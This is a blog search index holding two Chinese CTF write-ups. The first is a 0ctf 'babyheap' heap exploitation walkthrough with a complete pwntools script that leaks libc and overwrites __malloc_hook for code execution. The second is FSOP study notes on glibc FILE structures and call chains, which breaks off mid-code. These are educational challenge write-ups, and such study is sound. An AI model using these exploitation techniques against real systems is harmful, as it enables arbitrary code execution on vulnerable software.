search.xml

<?xml version="1.0" encoding="utf-8"?>
<search>
  <entry>
    <title>0ctfbabyheap</title>
    <url>/2020/01/29/0ctfbabyheap/</url>
    <content><![CDATA[<h1 id="0ctfbabyheap"><a href="#0ctfbabyheap" class="headerlink" title="0ctfbabyheap"></a>0ctfbabyheap</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p><img src="/2020/01/29/0ctfbabyheap/1580313525795.png" alt="1580313525795"></p>
<p>程序主要分为四个功能：Allocate,Fill,Free,Dump</p>
<h3 id="Allocate："><a href="#Allocate：" class="headerlink" title="Allocate："></a>Allocate：</h3><p><img src="/2020/01/29/0ctfbabyheap/1580113992227.png" alt="1580113992227"></p>
<p>依次按照下标分配，最多为16个chunk，首先判断是否为using chunk，输入size后最大为0x1000，使用calloc分配空间（相较于malloc函数，calloc函数会自动将内存初始化为0）然后更新记录结构体的FLAG、size，content_ptr</p>
<h3 id="Fill："><a href="#Fill：" class="headerlink" title="Fill："></a>Fill：</h3><p><img src="/2020/01/29/0ctfbabyheap/1580114274572.png" alt="1580114274572"></p>
<p>输入下标后判断下标是否在范围内，然后判断对应下标的记录结构体FLAG位是否是1（using or not），然后输入size，判断size是否大于0，然后直接输入，<strong>此处并未做输入大小检查</strong></p>
<h3 id="Free："><a href="#Free：" class="headerlink" title="Free："></a>Free：</h3><p><img src="/2020/01/29/0ctfbabyheap/1580114435473.png" alt="1580114435473"></p>
<p>输入下标，判断是否在范围内，然后判断using or not，接着置记录结构体FLAG位为0，size为0，然后free掉content_ptr指针并置零</p>
<h3 id="Dump："><a href="#Dump：" class="headerlink" title="Dump："></a>Dump：</h3><p><img src="/2020/01/29/0ctfbabyheap/1580115008365.png" alt="1580115008365"></p>
<p>输入下标后判断是否在范围内，判断using or not，然后按记录的size打印内容</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit:"></a>Exploit:</h2><p>多calloc几个chunk之后可以利用Fill的漏洞修改相邻chunk的size还有内容</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 0 chunk 0</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 1 chunk 1</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 2 chunk 2</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 3 chunk 3</span></span><br><span class="line">alloc(<span class="number">0x80</span>) <span class="comment">#index 4 chunk 4 Small chunk</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 5 Avoid merging into top_chunk</span></span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">2</span>)</span><br></pre></td></tr></table></figure>

<p>此时chunk 1,2位于fastbin中，且chunk 2的fd指向chunk 1，通过Fill chunk 0，可以达到修改chunk 2 fd，使其指向chunk 4，然后通过Fill chunk 3 修改chunk 4的size，避免fastbin attack时size不同而出错</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload  = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x31</span>)</span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x31</span>)</span><br><span class="line">payload += p8(<span class="number">0xc0</span>)	 <span class="comment">#Low byte of chunk 4's address</span></span><br><span class="line">fill(<span class="number">0</span>, payload)	<span class="comment">#This payload only edit the fd of chunk 2</span></span><br><span class="line"></span><br><span class="line">payload  = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x31</span>)	<span class="comment">#This payload edit the size of chunk 4</span></span><br><span class="line">fill(<span class="number">3</span>, payload)</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">alloc(<span class="number">0x20</span>)<span class="comment">#index 1  chunk 2 back</span></span><br><span class="line">alloc(<span class="number">0x20</span>)<span class="comment">#index 2  chunk 4</span></span><br></pre></td></tr></table></figure>

<p>然后再通过chunk 3修改chunk 4的大小，这样在free chunk 4 之后chunk 4的fd还有bk就会指向 main_arena</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload  = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x91</span>)</span><br><span class="line">fill(<span class="number">3</span>, payload)	<span class="comment">#recover 0x80</span></span><br><span class="line"></span><br><span class="line">free(<span class="number">4</span>)<span class="comment">#fd &amp; bk point to main_arena now</span></span><br></pre></td></tr></table></figure>

<p> 此时Dump chunk 2就可以获得 fd &amp; bk的值，从而获得libc base</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">libc_base = u64(dump(<span class="number">2</span>)[:<span class="number">8</span>]) - <span class="number">0x3c4b78</span> <span class="comment">#The offset of main_arena+... in libc</span></span><br></pre></td></tr></table></figure>

<p>此时可想办法利用__malloc_hook，将one_gadget填入，当__malloc_hook不为0时即可调用</p>
<p><img src="/2020/01/29/0ctfbabyheap/1580295721778.png" alt="1580295721778"></p>
<p>由于index 2此时指向的依然是chunk 4，我们可以对free掉的chunk 4的fd做修改，再次利用fastbin attack申请到一个包含<em>\</em>malloc_hook的堆块，不过此时要缩小其大小，让chunk 4的size在fast chunk之内</p>
<p>利用fastbin attack申请一个包含<em>\</em>malloc_hook的堆块需要对应的地方有合适的size</p>
<p><img src="/2020/01/29/0ctfbabyheap/1580296367287.png" alt="1580296367287"></p>
<p>当偏移加上0xd之后，利用此处的0x7f size来构造一个chunk，所以我们要将free后在usorted bin中的chunk 4分割，calloc(0x60)然后free之后即可利用chunk 3来修改其fd</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">alloc(<span class="number">0x60</span>) <span class="comment">#0x80----&gt;0x70</span></span><br><span class="line">free(<span class="number">4</span>)     <span class="comment">#Set chunk to fastbin</span></span><br><span class="line"></span><br><span class="line">fill(<span class="number">2</span>, p64(libc_base + <span class="number">0x3c4aed</span>)) <span class="comment">#Fastbin attack target</span></span><br><span class="line">alloc(<span class="number">0x60</span>)<span class="comment">#index 4</span></span><br><span class="line">alloc(<span class="number">0x60</span>)<span class="comment">#index 6 get our target</span></span><br></pre></td></tr></table></figure>

<p>最后利用</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload  = <span class="string">'\x00'</span>*<span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload += p64(libc_base + <span class="number">0x4526a</span>)<span class="comment">#one_gedget</span></span><br><span class="line">fill(<span class="number">6</span>, payload)<span class="comment">#Fill __malloc_hook </span></span><br><span class="line"></span><br><span class="line">alloc(<span class="number">255</span>)<span class="comment">#just call the function</span></span><br></pre></td></tr></table></figure>

<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./0ctfbabyheap'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc</span><span class="params">(size)</span>:</span></span><br><span class="line">    p.sendline(<span class="string">'1'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">': '</span>, str(size))</span><br><span class="line">    p.recvuntil(<span class="string">': '</span>, timeout=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fill</span><span class="params">(idx, data)</span>:</span></span><br><span class="line">    p.sendline(<span class="string">'2'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">': '</span>, str(idx))</span><br><span class="line">    p.sendlineafter(<span class="string">': '</span>, str(len(data)))</span><br><span class="line">    p.sendafter(<span class="string">': '</span>, data)</span><br><span class="line">    p.recvuntil(<span class="string">': '</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(idx)</span>:</span></span><br><span class="line">    p.sendline(<span class="string">'3'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">': '</span>, str(idx))</span><br><span class="line">    p.recvuntil(<span class="string">': '</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dump</span><span class="params">(idx)</span>:</span></span><br><span class="line">    p.sendline(<span class="string">'4'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">': '</span>, str(idx))</span><br><span class="line">    p.recvuntil(<span class="string">': \n'</span>)</span><br><span class="line">    data = p.recvline()</span><br><span class="line">    p.recvuntil(<span class="string">': '</span>)</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exploit</span><span class="params">()</span>:</span></span><br><span class="line">    p.recvuntil(<span class="string">': '</span>)</span><br><span class="line"></span><br><span class="line">    alloc(<span class="number">0x20</span>) <span class="comment">#index 0</span></span><br><span class="line">    alloc(<span class="number">0x20</span>) <span class="comment">#index 1</span></span><br><span class="line">    alloc(<span class="number">0x20</span>) <span class="comment">#index 2</span></span><br><span class="line">    alloc(<span class="number">0x20</span>) <span class="comment">#index 3</span></span><br><span class="line">    alloc(<span class="number">0x80</span>) <span class="comment">#index 4</span></span><br><span class="line">    alloc(<span class="number">0x20</span>) <span class="comment">#index 5 Avoid merging into top_chunk</span></span><br><span class="line">    free(<span class="number">1</span>)</span><br><span class="line">    free(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">    payload  = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">    payload += p64(<span class="number">0x31</span>)</span><br><span class="line">    payload += p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">    payload += p64(<span class="number">0x31</span>)</span><br><span class="line">    payload += p8(<span class="number">0xc0</span>)</span><br><span class="line">    fill(<span class="number">0</span>, payload)</span><br><span class="line"></span><br><span class="line">    payload  = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">    payload += p64(<span class="number">0x31</span>)</span><br><span class="line">    fill(<span class="number">3</span>, payload)</span><br><span class="line"></span><br><span class="line">    alloc(<span class="number">0x20</span>)<span class="comment">#index 1</span></span><br><span class="line">    alloc(<span class="number">0x20</span>)<span class="comment">#index 2 0x80</span></span><br><span class="line"></span><br><span class="line">    payload  = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">    payload += p64(<span class="number">0x91</span>)</span><br><span class="line">    fill(<span class="number">3</span>, payload)<span class="comment">#recover 0x80</span></span><br><span class="line">    </span><br><span class="line">    free(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">    libc_base = u64(dump(<span class="number">2</span>)[:<span class="number">8</span>]) - <span class="number">0x3c4b78</span></span><br><span class="line">    log.info(<span class="string">"libc_base: "</span> + hex(libc_base))<span class="comment">#libc successful</span></span><br><span class="line">    alloc(<span class="number">0x60</span>)<span class="comment">#0x80----&gt;0x70</span></span><br><span class="line">    free(<span class="number">4</span>)	<span class="comment">#Set to fastbin</span></span><br><span class="line">    fill(<span class="number">2</span>, p64(libc_base + <span class="number">0x3c4aed</span>)) <span class="comment">#Fastbin attack target</span></span><br><span class="line">    alloc(<span class="number">0x60</span>)<span class="comment">#index 4</span></span><br><span class="line">    alloc(<span class="number">0x60</span>)<span class="comment">#index 6</span></span><br><span class="line">    <span class="comment">#gdb.attach(p,'brva 0xdcc\nbrva 0x1022\nbrva 0x4f3\nbrva 0x1107')</span></span><br><span class="line">    payload  = <span class="string">'\x00'</span>*<span class="number">3</span></span><br><span class="line">    payload += p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">    payload += p64(libc_base + <span class="number">0x4526a</span>)</span><br><span class="line">    fill(<span class="number">6</span>, payload)</span><br><span class="line">    </span><br><span class="line">    alloc(<span class="number">255</span>)</span><br><span class="line"></span><br><span class="line">exploit()</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>


]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>FSOP&amp;the_end</title>
    <url>/2020/02/25/FSOP-the-end/</url>
    <content><![CDATA[<h1 id="FSOP学习"><a href="#FSOP学习" class="headerlink" title="FSOP学习"></a>FSOP学习</h1><p>由于刷how2heap时碰到了一题zerostorage，这个题在ubuntu14上由于存在一个<a href="https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html" target="_blank" rel="noopener">offset2lib</a>的攻击，所以在泄露libc地址之后可以get到程序的地址，但是我复现这个题是在ubuntu16下面做的，所以这个攻击方法无效XD，得另寻他路，所以我找到了raycp师傅的<a href="https://www.anquanke.com/post/id/178418" target="_blank" rel="noopener">这篇文章</a>，上面提到了FSOP这个攻击姿势，理所当然我当然要啃一啃了，顺带借助了一下<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop-zh/" target="_blank" rel="noopener">CTFwiki</a>和师傅的另一篇<a href="https://ray-cp.github.io/archivers/HCTF-2018-PWN-writeup" target="_blank" rel="noopener">博客</a></p>
<h1 id="FILE"><a href="#FILE" class="headerlink" title="FILE *"></a>FILE *</h1><p>首先来看一下FILE这个结构体：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> &#123;</span></span><br><span class="line">  <span class="keyword">int</span> _flags;       <span class="comment">/* High-order word is _IO_MAGIC; rest is flags. */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _IO_file_flags _flags</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">/* The following pointers correspond to the C++ streambuf protocol. */</span></span><br><span class="line">  <span class="comment">/* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_read_ptr;   <span class="comment">/* Current read pointer */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_read_end;   <span class="comment">/* End of get area. */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_read_base;  <span class="comment">/* Start of putback+get area. */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_write_base; <span class="comment">/* Start of put area. */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_write_ptr;  <span class="comment">/* Current put pointer. */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_write_end;  <span class="comment">/* End of put area. */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_buf_base;   <span class="comment">/* Start of reserve area. */</span></span><br><span class="line">  <span class="keyword">char</span>* _IO_buf_end;    <span class="comment">/* End of reserve area. */</span></span><br><span class="line">  <span class="comment">/* The following fields are used to support backing up and undo. */</span></span><br><span class="line">  <span class="keyword">char</span> *_IO_save_base; <span class="comment">/* Pointer to start of non-current get area. */</span></span><br><span class="line">  <span class="keyword">char</span> *_IO_backup_base;  <span class="comment">/* Pointer to first valid character of backup area */</span></span><br><span class="line">  <span class="keyword">char</span> *_IO_save_end; <span class="comment">/* Pointer to end of non-current get area. */</span></span><br><span class="line"></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">IO_marker</span> *_<span class="title">markers</span>;</span></span><br><span class="line"></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">chain</span>;</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">int</span> _fileno;<span class="comment">//fd</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> 0</span></span><br><span class="line">  <span class="keyword">int</span> _blksize;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">  <span class="keyword">int</span> _flags2;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">  _IO_off_t _old_offset; <span class="comment">/* This used to be _offset but it's too small.  */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> __HAVE_COLUMN <span class="comment">/* temporary */</span></span></span><br><span class="line">  <span class="comment">/* 1+column number of pbase(); 0 is unknown. */</span></span><br><span class="line">  <span class="keyword">unsigned</span> short _cur_column;</span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">char</span> _vtable_offset;</span><br><span class="line">  <span class="keyword">char</span> _shortbuf[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*  char* _save_gptr;  char* _save_egptr; */</span></span><br><span class="line"></span><br><span class="line">  _IO_lock_t *_lock;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> _IO_USE_OLD_IO_FILE</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<h1 id="IO-FILE-plus-amp-IO-jump-t"><a href="#IO-FILE-plus-amp-IO-jump-t" class="headerlink" title="_IO_FILE_plus&amp;_IO_jump_t"></a>_IO_FILE_plus&amp;_IO_jump_t</h1><p>还有FILE结构体的封装和vtable，当然最最主要的就是这个指针和这个table了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE_plus</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  _IO_FILE file;</span><br><span class="line">  <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> *<span class="title">vtable</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    JUMP_FIELD(<span class="keyword">size_t</span>, __dummy);</span><br><span class="line">    JUMP_FIELD(<span class="keyword">size_t</span>, __dummy2);</span><br><span class="line">    JUMP_FIELD(_IO_finish_t, __finish);</span><br><span class="line">    JUMP_FIELD(_IO_overflow_t, __overflow);</span><br><span class="line">    JUMP_FIELD(_IO_underflow_t, __underflow);</span><br><span class="line">    JUMP_FIELD(_IO_underflow_t, __uflow);</span><br><span class="line">    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);</span><br><span class="line">    <span class="comment">/* showmany */</span></span><br><span class="line">    JUMP_FIELD(_IO_xsputn_t, __xsputn);</span><br><span class="line">    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);</span><br><span class="line">    JUMP_FIELD(_IO_seekoff_t, __seekoff);</span><br><span class="line">    JUMP_FIELD(_IO_seekpos_t, __seekpos);</span><br><span class="line">    JUMP_FIELD(_IO_setbuf_t, __setbuf);</span><br><span class="line">    JUMP_FIELD(_IO_sync_t, __sync);</span><br><span class="line">    JUMP_FIELD(_IO_doallocate_t, __doallocate);</span><br><span class="line">    JUMP_FIELD(_IO_read_t, __read);</span><br><span class="line">    JUMP_FIELD(_IO_write_t, __write);</span><br><span class="line">    JUMP_FIELD(_IO_seek_t, __seek);</span><br><span class="line">    JUMP_FIELD(_IO_close_t, __close);</span><br><span class="line">    JUMP_FIELD(_IO_stat_t, __stat);</span><br><span class="line">    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);</span><br><span class="line">    JUMP_FIELD(_IO_imbue_t, __imbue);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> 0</span></span><br><span class="line">    get_column;</span><br><span class="line">    set_column;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<h1 id="调用链"><a href="#调用链" class="headerlink" title="调用链"></a>调用链</h1><p>table中对应函数的调用姿势会尝试着慢慢更新的，现在菜鸡学到的有这几种：</p>
<ol>
<li><p>利用的是在程序调用 <code>exit</code> 后，会遍历 <code>_IO_list_all</code> ，调用 <code>_IO_2_1_stdout_</code> 下的 <code>vatable</code> 中 <code>_setbuf</code> 函数（wiki）</p>
</li>
<li><p>puts 在源码中实现的函数是<code>_IO_puts</code>，这个函数的操作与 fwrite 的流程大致相同，函数内部同样会调用 vtable 中的<code>_IO_sputn</code>，结果会执行_IO_new_file_xsputn，最后会调用到系统接口 write 函数。（wiki）</p>
</li>
<li><p>printf 调用栈（wiki）：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">vfprintf+11</span><br><span class="line">_IO_file_xsputn</span><br><span class="line">_IO_file_overflow</span><br><span class="line">funlockfile</span><br><span class="line">_IO_file_write</span><br><span class="line">write</span><br></pre></td></tr></table></figure>

<p>自己试出来的几种，有些不同都是得自己去看源码啊（跪)，好像和上面比起来没有看到那个overflow：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">► f 0     7ffff7b042b0 write（没有setbuf，输出结尾有换行）</span><br><span class="line">  f 1     7ffff7a85bff _IO_file_write+143</span><br><span class="line">  f 2     7ffff7a87409 _IO_do_write+121</span><br><span class="line">  f 3     7ffff7a87409 _IO_do_write+121</span><br><span class="line">  f 4     7ffff7a8647d _IO_file_xsputn+669</span><br><span class="line">  f 5     7ffff7a5a92d vfprintf+1981</span><br><span class="line">  f 6     7ffff7a62899 printf+153</span><br><span class="line">  f 7           40053e main+24</span><br><span class="line">  </span><br><span class="line">► f 0     7ffff7b042b0 write()（setbuf(stdout,0)，输出结尾有换行）</span><br><span class="line">  f 1     7ffff7a85bff _IO_file_write+143</span><br><span class="line">  f 2     7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line">  f 3     7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line">  f 4     7ffff7a5cf94 buffered_vfprintf+308</span><br><span class="line">  f 5     7ffff7a5a32d vfprintf+445</span><br><span class="line">  f 6     7ffff7a62899 printf+153</span><br><span class="line">  f 7           4005e2 main+44</span><br><span class="line">  </span><br><span class="line">► f 0     7ffff7b042b0 write（没有setbuf，输出结尾没有换行）</span><br><span class="line">  f 1     7ffff7a85bff _IO_file_write+143</span><br><span class="line">  f 2     7ffff7a87409 _IO_do_write+121</span><br><span class="line">  f 3     7ffff7a87409 _IO_do_write+121</span><br><span class="line">  f 4     7ffff7a89196 _IO_flush_all_lockp+374</span><br><span class="line">  f 5     7ffff7a8932a _IO_cleanup+26</span><br><span class="line">  f 6     7ffff7a46f9b __run_exit_handlers+139</span><br><span class="line">  f 7     7ffff7a47045</span><br><span class="line">  f 8     7ffff7a2d837 __libc_start_main+247</span><br><span class="line">  </span><br><span class="line">► f 0     7ffff7b042b0 write（setbuf(stdout,0)，输出结尾没有换行）</span><br><span class="line">  f 1     7ffff7a85bff _IO_file_write+143</span><br><span class="line">  f 2     7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line">  f 3     7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line">  f 4     7ffff7a5cf94 buffered_vfprintf+308</span><br><span class="line">  f 5     7ffff7a5a32d vfprintf+445</span><br><span class="line">  f 6     7ffff7a62899 printf+153</span><br><span class="line">  f 7           4005e2 main+44</span><br></pre></td></tr></table></figure>
</li>
<li><p><code>exit-&gt;__run_exit_handlers-&gt;_IO_cleanup-&gt;_IO_flush_all_lockp</code><br>控制<code>stdin</code>、<code>stdout</code>或者<code>stderr</code>中实现<code>fp-&gt;_mode &lt;= 0</code>以及<code>fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base</code>同时修改vtable里面的<code>_IO_OVERFLOW</code>为one gadget（来自raycp师傅的博客）</p>
</li>
<li><p>程序结束时在<code>_dl_fini_</code>中调用<code>_rtld_global</code>结构体的<code>__rtld_lock_lock_recursive</code>（来自raycp师傅的博客），准确来说这个不算FILE里面的，不过还是写一下记一下比较好</p>
</li>
</ol>
<h1 id="自己的调试代码"><a href="#自己的调试代码" class="headerlink" title="自己的调试代码"></a>自己的调试代码</h1><p>调试之前写了一个有0x40个a的test.txt（用python -c写进去的，因为无论用vim还是gedit好像都会在保存时自动加一个换行符，比较搞，用<code>cat test.txt|hd</code>就可以看到结尾是不是有换行符）</p>
<p>然后用下面的代码调试了一下…调试细节先放着，这个是帮我用来探索前面几个指针是怎么用的，还有很多细节其实都不太清楚，以后玩源码的时候再来看（结果写题的时候就发现直接用gdb p一下那个符号好像更明确….我佛了，不行就加上(_IO_FILE_plus *)转换一下地址的类型，这样看来代码写的好像多余了2333333）</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stddef.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">printFILE</span><span class="params">(FILE * tmp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_flags:%#x\n"</span>,*(<span class="keyword">int</span>*)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_flags)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_read_ptr:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_read_ptr)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_read_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_read_end)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_read_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_read_base)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_write_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_write_base)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_write_ptr:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_write_ptr)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_write_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_write_end)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_buf_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_buf_base)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_buf_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_buf_end)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_save_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_save_base)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_backup_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_backup_base)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_save_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_save_end)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_markers:%p\n"</span>,*(struct _IO_marker **)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_markers)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_chain:%p\n"</span>,*(struct _IO_FILE **)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_chain)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_fileno:%#x\n"</span>,*(<span class="keyword">int</span>*)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_fileno)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_flags2:%#x\n"</span>,*(<span class="keyword">int</span>*)((<span class="keyword">unsigned</span> <span 